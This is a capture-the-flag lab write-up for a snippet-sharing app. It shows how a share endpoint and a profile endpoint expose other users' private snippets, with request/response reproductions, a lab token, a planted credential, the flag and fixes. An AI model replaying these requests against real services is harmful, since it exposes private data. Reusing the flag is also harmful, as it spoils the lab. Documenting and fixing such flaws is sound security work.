BugForge — 2026.06.25

CopyPasta: Collection Share Endpoint Over-Exposes Private Snippets

BugForge Broken Access Control easy

Part 1: Pentest Report

Executive Summary

CopyPasta is a code-snippet sharing application (React single-page app over an Express/Node JSON API) on the BugForge platform. Users create snippets and group them into collections; each collection is reachable both by an integer id and by a UUID slug, and snippets carry an is_public flag. Testing found that the collection share endpoint returns a collection’s contained snippets without applying the per-snippet is_public filter that the integer-id endpoint applies, so any authenticated user can read private snippets placed in a public collection.

Testing confirmed 2 findings:

ID Title Severity CVSS CWE Endpoint
F1 Share endpoint over-exposes private snippets in a public collection Medium 6.5 CWE-285, CWE-200 GET /api/collections/share/:slug
F2 Profile endpoint enforces snippet privacy only in the client Medium 6.5 CWE-602, CWE-200 GET /api/profile/:username

The flag-bearing finding (F1) discloses an admin private snippet, prod.env, holding production database credentials to any registered user. F2 exposes the same snippet (and any user’s private snippets) directly by username, so it carries the same confidentiality impact with broader reach. Both findings are scored on that disclosure; because the exposed data overlaps, a single server-side fix that centralizes the snippet-visibility check addresses both, and remediation can be prioritized once.


Objective

Single objective: capture the flag on an easy web application lab. The intended path runs through the collection sharing feature.


Scope / Initial Access

# Target Application
URL: https://lab-<instance-id>.labs-app.bugforge.io/
# (BugForge lab instances are ephemeral; evidence below was captured
#  against instance lab-1782346135714-8d3pwb)

# Auth details
# Open self-registration via POST /api/register returns a JWT.
# Token is HS256 and decodes to {"id":<n>,"username":<name>,"iat":<ts>}.
# New accounts default to role "user".
# The API also issues X-Api-Key tokens via /api/tokens; on the tested
# read endpoints, X-Api-Key and the JWT Bearer behave identically.

Registration is open, so all testing ran as a freshly created low-privilege account (haxor, id 5, role user). No credentials were supplied; the starting position is an unauthenticated visitor who registers an account.


Reconnaissance: Mapping the API Behind the SPA

The front end is a Create React App build; the application surface was mapped from the JavaScript bundle (API call sites), the proxy history in Caido, and direct probing of the JSON API under /api. The following observations shaped the test plan:

  1. Unknown paths return the SPA index.html with HTTP 200 and Content-Type: text/html, not a 404. Route existence has to be judged on Content-Type, not status code, or non-routes read as live endpoints.
  2. Self-registration is open and immediately returns a usable JWT, so every test could be run as an authenticated, low-privilege user.
  3. Collections carry both an integer id and a UUID slug, and are readable through two distinct endpoints: GET /api/collections/:id (integer) and GET /api/collections/share/:slug (the share-by-link feature). Two read paths to one object invite a comparison.
  4. GET /api/collections lists only the caller’s own collections, so reading another user’s collection (and learning its slug) requires the integer-id endpoint.
  5. Enumerating collections by integer id returned only three (ids 1-3); the “Admin Toolbox” collection (id 2, owned by admin) is public and contains snippets, which makes it the natural test case for whether a public collection fully exposes its children through the share endpoint.

Application Architecture

Component Detail
Frontend React single-page app (Create React App build). Unknown routes serve index.html (200, text/html).
Backend Express/Node JSON API under /api.
Auth JWT (HS256) from POST /api/register / POST /api/login; also X-Api-Key tokens via /api/tokens. Role field on the account (user / admin).
Database Not directly observable. A leaked prod.env snippet references PostgreSQL at db.internal.

API Surface (relevant subset)

Endpoint Method Auth Notes
/api/register, /api/login POST No Returns JWT; open registration.
/api/collections GET Yes Lists only the caller’s own collections.
/api/collections/:id GET Yes Integer-id read. Returns collection plus snippets filtered to public.
/api/collections/share/:slug GET Yes Share-by-link read. Returns collection plus snippets, no per-snippet is_public filter.
/api/profile/:username GET Yes Returns a user’s profile and all of their snippets.
/api/admin/* GET Yes (admin) Role-gated; returns 403 for a user token.

Known Users

Username ID Role
admin 1 admin
coder123 2 user
pythonista 3 user
haxor (our test account) 5 user

Attack Chain Visualization

┌──────────────────────┐     ┌──────────────────────────┐     ┌────────────────────────────────┐
│ Open registration    │     │ GET /api/collections/2   │     │ GET /api/collections/share/    │
│ POST /api/register   │ ──▶ │ (integer-id endpoint)    │ ──▶ │   <slug>  (share endpoint)     │
│                      │     │                          │     │                                │
│ → low-privilege JWT  │     │ → leaks admin collection │     │ → returns private snippet #8   │
│   {"id":5,"user":    │     │   slug 7be4e244-…        │     │   (prod.env, is_public:0)      │
│    "haxor"}          │     │ → snippets: public only  │     │ → server appends flag key      │
└──────────────────────┘     └──────────────────────────┘     └────────────────────────────────┘

Findings

F1: Share endpoint over-exposes private snippets in a public collection

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-285 (Improper Authorization), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: GET /api/collections/share/:slug Authentication required: Yes (any registered account)

Description

A collection can be read through two endpoints:

  1. GET /api/collections/:id (integer-id endpoint) returns the collection and its contained snippets filtered to public ones only. For the public “Admin Toolbox” collection (id 2) it returns only snippet 7 (is_public:1).
  2. GET /api/collections/share/:slug (the share-by-link endpoint) returns the same collection, but its contained snippets are not filtered by is_public. For the same collection it additionally returns snippet 8 (prod.env, is_public:0) with full contents.

The share endpoint still gates the collection itself by is_public: requesting our own private collection through it returns 404. The gap is only at the snippet level. Because a collection can be public while containing a private snippet, that private snippet is readable by anyone through the share endpoint even though the integer-id endpoint withholds it.

Impact

Any authenticated user can read private snippets contained in a public collection, including an admin snippet holding production database credentials.

Reproduction

Step 1: Register an account to obtain a JWT.

POST /api/register HTTP/1.1
Host: lab-1782346135714-8d3pwb.labs-app.bugforge.io
Content-Type: application/json

{"username":"haxor","email":"[email protected]","password":"password","full_name":""}

Response:

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJoYXhvciIsImlhdCI6MTc4MjM0NjE2NH0.VonBHmnsSIv31kt4W2fEmMkLhnNmTJRcafdJGJ4ATW4",
  "user": {"id": 5, "username": "haxor", "email": "[email protected]", "full_name": "", "role": "user"}
}

The token decodes to {"id":5,"username":"haxor","iat":1782346164}, role user.

Step 2: Read the admin collection by integer id to obtain its slug.

GET /api/collections/2 HTTP/1.1
Host: lab-1782346135714-8d3pwb.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSw...VonBHmnsSIv31kt4W2fEmMkLhnNmTJRcafdJGJ4ATW4

Response:

{
  "collection": {
    "id": 2, "user_id": 1, "name": "Admin Toolbox", "is_public": 1,
    "slug": "7be4e244-b36b-409c-bdea-91a815abf5ba", "username": "admin"
  },
  "snippets": [
    {"id": 7, "title": "SQL Query Example", "code": "SELECT ... LIMIT 10;", "is_public": 1}
  ],
  "is_owner": false
}

The integer-id endpoint returns only the public snippet (#7) and exposes the collection slug. Response keys: collection, snippets, is_owner.

Step 3: Read the same collection through the share endpoint using that slug.

GET /api/collections/share/7be4e244-b36b-409c-bdea-91a815abf5ba HTTP/1.1
Host: lab-1782346135714-8d3pwb.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSw...VonBHmnsSIv31kt4W2fEmMkLhnNmTJRcafdJGJ4ATW4

Response:

{
  "collection": {
    "id": 2, "user_id": 1, "name": "Admin Toolbox", "is_public": 1,
    "slug": "7be4e244-b36b-409c-bdea-91a815abf5ba", "username": "admin"
  },
  "snippets": [
    {"id": 7, "title": "SQL Query Example", "code": "SELECT ... LIMIT 10;", "is_public": 1},
    {
      "id": 8, "title": "prod.env (internal)", "is_public": 0, "username": "admin",
      "code": "# CopyPasta production — keep this private\nDATABASE_URL=postgres://cp_app:[email protected]:5432/copypasta\nADMIN_NOTES=rotate the load-balancer cert before the July audit\nINTERNAL_DASHBOARD=https://ops.internal/copypasta"
    }
  ],
  "flag": "bug{RgCOxsoQYIQxpGAOjtTkdTJU48oN8Eio}"
}

The share endpoint returns the private snippet (#8, is_public:0) that the integer-id endpoint withheld, with full contents including the database credential. Response keys: collection, snippets, flag. The lab server appends the top-level flag key to the over-exposing response.

Remediation

The two endpoints are legitimately different features. The integer-id endpoint is an owner/browse read; the share endpoint is the expose-by-link feature, which is intentionally more permissive at the collection level (anyone holding the link can view the collection without owning it). The defect is that the share feature does not apply the per-snippet privacy filter, so the fix belongs in the share handler, not in copying the integer-id endpoint’s collection guard.

Fix 1: Apply the per-snippet is_public filter on the share endpoint.

// BEFORE (Vulnerable): share handler returns all contained snippets
const snippets = await db.snippetsForCollection(collection.id);
return res.json({ collection, snippets });

// AFTER (Secure): a share link should surface only public children
const snippets = await db.snippetsForCollection(collection.id, {
  where: { is_public: 1 }
});
return res.json({ collection, snippets });

Additional recommendations:

  • Centralize snippet visibility in one query helper, parameterized by context: the share endpoint surfaces only is_public = 1 (a share link must never expose private children, even to the owner, who has the integer-id endpoint for full access), while owner and profile reads use is_public = 1 OR owner = caller. Routing every snippet-returning endpoint through that one helper, with the visibility mode passed in, stops a new read path from silently skipping the filter.
  • Do not store secrets such as database credentials in user snippets at all; production credentials belong in a secrets manager, not application content.

F2: Profile endpoint enforces snippet privacy only in the client

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-602 (Client-Side Enforcement of Server-Side Security), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: GET /api/profile/:username Authentication required: Yes (any registered account)

Description

GET /api/profile/:username returns a user’s profile along with all of that user’s snippets, including those marked is_public:0. The React front end hides private snippets by applying a filter in the browser when rendering the profile, but the API performs no equivalent check, so the private snippets are present in the raw response. This is the same data-exposure class as F1 but a different root cause (privacy enforced in the client instead of the server) and a broader reach: it leaks any user’s private snippets directly by username, not only ones placed in a public collection.

Impact

Any authenticated user can read any user’s private snippets directly by username, including the admin production credentials in prod.env.

Reproduction

Step 1: Request another user’s profile under a non-admin token.

GET /api/profile/admin HTTP/1.1
Host: lab-1782346135714-8d3pwb.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSw...VonBHmnsSIv31kt4W2fEmMkLhnNmTJRcafdJGJ4ATW4

Response:

{
  "user": {"id": 1, "username": "admin", "email": "[email protected]", "role": "admin"},
  "snippets": [
    {"id": 7, "title": "SQL Query Example", "is_public": 1},
    {
      "id": 8, "title": "prod.env (internal)", "is_public": 0,
      "code": "# CopyPasta production — keep this private\nDATABASE_URL=postgres://cp_app:[email protected]:5432/copypasta\n..."
    }
  ]
}

The response includes admin’s private snippet (#8, is_public:0) with full contents, read under our user-role token.

Remediation

Fix 1: Filter snippets server-side on the profile endpoint.

// BEFORE (Vulnerable): returns every snippet; the client hides private ones
const snippets = await db.snippetsForUser(profile.id);
return res.json({ user: profile, snippets });

// AFTER (Secure): the server decides what the caller may see
const snippets = await db.snippetsForUser(profile.id, {
  where: { is_public: 1 } // OR owner === req.user.id, if viewing self
});
return res.json({ user: profile, snippets });

Additional recommendations:

  • Treat client-side filtering as presentation only; never rely on it for authorization. Any field the API should not disclose must be removed before the response leaves the server.
  • Reuse the same centralized snippet-visibility predicate referenced in F1 here, so both endpoints enforce one rule.

OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: Both findings. The share endpoint returns private child records to users with no rights to them (F1); the profile endpoint exposes private snippets because the only privacy check runs in the client (F2).
  • A04:2021 Insecure Design: F2 enforces a security control (snippet privacy) in the browser rather than on the server, a design-level weakness (CWE-602).

Mapped to the OWASP API Security Top 10, F1 aligns with API3:2023 (Broken Object Property Level Authorization): a read path discloses object properties (private snippets) that should have been filtered out.


Tools Used

Tool Purpose
Caido Intercepting proxy; request history, replaying the id and share reads, and exporting the proving request/response pairs.
curl Issuing the authenticated integer-id and share-endpoint requests.
React bundle / source review Mapping API call sites and confirming the client-side privacy filter on the profile view.
JWT decode Confirming the registered token decodes to {"id":5,"username":"haxor"}, role user.

References


Part 2: Notes / Knowledge

Key Learnings

  • Walk every UI feature as a user before recon, and map each clickable to the API call it fires. Click every feature in the application, give extra weight to share, export, import, invite, settings, and download, and record the request each one fires alongside the endpoint and verb matrix. On this target the flag sat behind the “Share collection” button, which calls GET /api/collections/share/:slug; time went into exotic vectors (api-key confusion, header injection) while the intended bug lived on the happy path of a feature a normal user clicks. Treat share, export, and invite as first-class attack surface. On easy and medium targets especially, the vulnerability usually sits on the intended path, not a clever edge case, so skipping the user-walk walks straight past it.

  • When two endpoints resolve the same resource, diff their full outputs before calling either one dead. When two read paths reach the same object (integer id versus slug or share, REST versus GraphQL resolver, v1 versus v2 mount, list versus single-object endpoint), request the object through every door and field-diff the full output: top-level keys, nested arrays, and the filters applied to those arrays. A door can be more restrictive on the parent yet less restrictive on the child at the same time, so test both levels. Here the share endpoint correctly gated the collection (our own private collection returned 404) yet skipped the per-snippet is_public filter the integer-id endpoint applied, so a public collection holding a private snippet leaked that snippet only through the share endpoint. A share or export endpoint is often distinct functionality (expose-by-link) that is intentionally more permissive at the parent by design, so do not dismiss it because its parent gate is stricter; the defect to look for is over-exposure of children. The bug lives in the difference between the doors, which is invisible when each endpoint is tested in isolation.


Failed Approaches

Approach Result Why It Failed
Enumerate GET /api/collections/:id (ids 1-10) for a hidden private admin collection Only ids 1, 2, 3 exist; 4-10 return 404 No hidden private collection exists; the only private collection (id 3) is our own.
Read our own private collection through the share endpoint (GET /api/collections/share/<our-private-slug>) 404 “Collection not found” The share endpoint still gates the collection itself by is_public; the gap is only the per-snippet filter, not the collection gate.
Request the share endpoint without authentication (GET /api/collections/share/<slug>, no token) 401 “Access token required” The share endpoint requires authentication; it is not an unauthenticated share link, so the privilege requirement could not be lowered.
Add another user’s private snippet to our own collection (POST /api/collections/3/snippets {"snippet_id":4}) 403 “Not authorized to add this snippet” Add-to-collection is authorization-checked on the snippet (is_public OR owned).
Read a snippet directly by integer id (GET /api/snippets/:id) SPA index.html returned (no such route) Snippets are read only by their random share_code / raw UUID, not by integer id.
Pass the slug as the integer-id parameter (GET /api/collections/<slug>) 404 The integer-id endpoint rejects slug values.
Admin API routes (GET /api/admin/stats, /api/admin/users) 403 Role-gated to admin; our token is role user.
X-Api-Key versus JWT Bearer differential on the share endpoint Identical 200 responses No dual-auth gap; the auth method is interchangeable on the tested reads.

Tags: #broken-access-control #broken-object-property-level-authorization #excessive-data-exposure #api-security #idor #bugforge #webapp Document Version: 1.1 Last Updated: 2026-06-25

#broken-access-control #broken-object-property-level-authorization #excessive-data-exposure #api-security #idor #express #react #bugforge